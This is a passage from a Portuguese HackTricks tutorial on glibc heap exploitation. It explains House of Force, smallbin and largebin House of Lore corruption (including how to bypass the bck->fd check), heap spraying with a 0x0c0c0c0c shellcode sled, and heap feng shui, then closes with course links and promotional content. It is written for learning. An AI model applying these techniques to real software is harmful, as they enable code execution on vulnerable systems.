O primeiro passo é sobrescrever o tamanho do chunk wilderness com um valor muito grande (0xffffffff), para que qualquer solicitação de memória grande seja tratada em \_int\_malloc() sem a necessidade de expandir o heap.
|
||
|
||
O segundo passo é alterar o av->top para apontar para uma área de memória sob o controle do atacante, como a pilha. Em av->top, será colocado \&EIP - 8.
|
||
|
||
Devemos sobrescrever av->top para apontar para a área de memória sob o controle do atacante:
|
||
|
||
victim = av->top;
|
||
|
||
remainder = chunck\_at\_offset(victim, nb);
|
||
|
||
av->top = remainder;
|
||
|
||
Victim obtém o valor da direção do chunk wilderness atual (o av->top atual) e remainder é exatamente a soma dessa direção mais a quantidade de bytes solicitados por malloc(). Portanto, se \&EIP-8 estiver em 0xbffff224 e av->top contiver 0x080c2788, então a quantidade que precisamos reservar no malloc controlado para que av->top aponte para $EIP-8 para o próximo malloc() será:
|
||
|
||
0xbffff224 - 0x080c2788 = 3086207644.
|
||
|
||
Assim, o valor alterado será armazenado em av->top e o próximo malloc apontará para o EIP e poderá ser sobrescrito.
|
||
|
||
É importante que o tamanho do novo chunk wilderness seja maior que a solicitação feita pelo último malloc(). Ou seja, se o wilderness estiver apontando para \&EIP-8, o tamanho ficará exatamente no campo EBP da pilha.
|
||
|
||
**The House of Lore**
|
||
|
||
**Corrupção SmallBin**
|
||
|
||
Os chunks liberados são inseridos no bin com base em seu tamanho. Mas antes de serem inseridos, eles são armazenados em unsorted bins. Quando um chunk é liberado, ele não é imediatamente colocado em seu bin, mas permanece em unsorted bins. Em seguida, se um novo chunk for alocado e o anterior liberado puder ser usado, ele será retornado, mas se um chunk maior for alocado, o chunk liberado em unsorted bins será colocado em seu bin apropriado.
|
||
|
||
Para alcançar o código vulnerável, a solicitação de memória deve ser maior que av->max\_fast (normalmente 72) e menor que MIN\_LARGE\_SIZE (512).
|
||
|
||
Se houver um chunk no bin do tamanho adequado ao solicitado, ele será retornado após ser desvinculado:
|
||
|
||
bck = victim->bk; Aponta para o chunk anterior, é a única informação que podemos alterar.
|
||
|
||
bin->bk = bck; O penúltimo chunk se torna o último, e se bck apontar para a pilha, o próximo chunk alocado receberá esse endereço.
|
||
|
||
bck->fd = bin; A lista é fechada fazendo com que ele aponte para bin
|
||
|
||
São necessários:
|
||
Reserve dois mallocs, de modo que o primeiro possa sofrer overflow após o segundo ter sido liberado e inserido em seu bin (ou seja, um malloc maior que o segundo deve ser reservado antes do overflow).
|
||
|
||
O malloc reservado com o endereço escolhido pelo atacante deve ser controlado pelo atacante.
|
||
|
||
O objetivo é o seguinte: se pudermos fazer um overflow em um heap que tem um pedaço liberado e em seu bin abaixo, podemos alterar seu ponteiro bk. Ao alterar o ponteiro bk e se esse pedaço se tornar o primeiro da lista do bin e for reservado, o bin será enganado e informado de que o próximo pedaço da lista está na falsa direção que definimos (como stack ou GOT, por exemplo). Portanto, se outro pedaço for reservado e o atacante tiver permissões nele, um pedaço na posição desejada será fornecido e poderá ser escrito.
|
||
|
||
Após liberar o pedaço modificado, é necessário reservar um pedaço maior do que o liberado, para que o pedaço modificado saia dos bins não ordenados e seja inserido em seu bin.
|
||
|
||
Uma vez no bin, é hora de modificar o ponteiro bk através do overflow para apontar para o endereço que desejamos sobrescrever.
|
||
|
||
Assim, o bin deve esperar até que malloc() seja chamado várias vezes para que o bin modificado seja usado novamente e engane o bin, fazendo-o acreditar que o próximo pedaço está na direção falsa. Em seguida, o pedaço desejado será fornecido.
|
||
|
||
Para que a vulnerabilidade seja explorada o mais rápido possível, o ideal seria: reservar o pedaço vulnerável, reservar o pedaço a ser modificado, liberar esse pedaço, reservar um pedaço maior do que o a ser modificado, modificar o pedaço (vulnerabilidade), reservar um pedaço do mesmo tamanho do vulnerado e reservar um segundo pedaço do mesmo tamanho, que apontará para o endereço escolhido.
|
||
|
||
Para proteger esse ataque, é usada a verificação típica de que o pedaço "não" é falso: verifica-se se bck->fd está apontando para a vítima. Ou seja, no nosso caso, se o ponteiro fd* do pedaço falso apontado na pilha está apontando para a vítima. Para contornar essa proteção, o atacante deve ser capaz de escrever de alguma forma (provavelmente na pilha) no endereço correto da vítima. Para que pareça um pedaço verdadeiro.
|
||
|
||
**Corrupção LargeBin**
|
||
|
||
São necessários os mesmos requisitos que antes e alguns adicionais, além disso, os pedaços reservados devem ser maiores que 512.
|
||
|
||
O ataque é semelhante ao anterior, ou seja, é necessário modificar o ponteiro bk e todas essas chamadas para malloc(), mas também é necessário modificar o tamanho do pedaço modificado de forma que esse tamanho - nb seja < MINSIZE.
|
||
|
||
Por exemplo, é necessário definir o tamanho como 1552 para que 1552 - 1544 = 8 < MINSIZE (a subtração não pode ser negativa porque é comparada com um valor não assinado).
|
||
|
||
Além disso, foi introduzido um patch para tornar o ataque ainda mais complicado.
|
||
|
||
**Heap Spraying**
|
||
|
||
Basicamente consiste em reservar toda a memória possível para heaps e preenchê-los com um colchão de nops seguido de uma shellcode. Além disso, o colchão é preenchido com 0x0c. A ideia é tentar pular para o endereço 0x0c0c0c0c e, assim, se alguma direção for sobrescrita com esse colchão, o controle será transferido para lá. Basicamente, a tática é reservar o máximo possível para ver se algum ponteiro é sobrescrito e pular para 0x0c0c0c0c, esperando que haja nops lá.
|
||
|
||
**Heap Feng Shui**
|
||
|
||
Consiste em, por meio de reservas e liberações, organizar a memória de forma que pedaços reservados fiquem entre pedaços livres. O buffer a ser estourado será colocado em um desses pedaços.
|
||
|
||
## Cursos Interessantes
|
||
|
||
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
|
||
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
|
||
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
|
||
|
||
## **Referências**
|
||
|
||
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprenda hacking AWS do zero ao hero com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Outras formas de apoiar o HackTricks:
|
||
|
||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|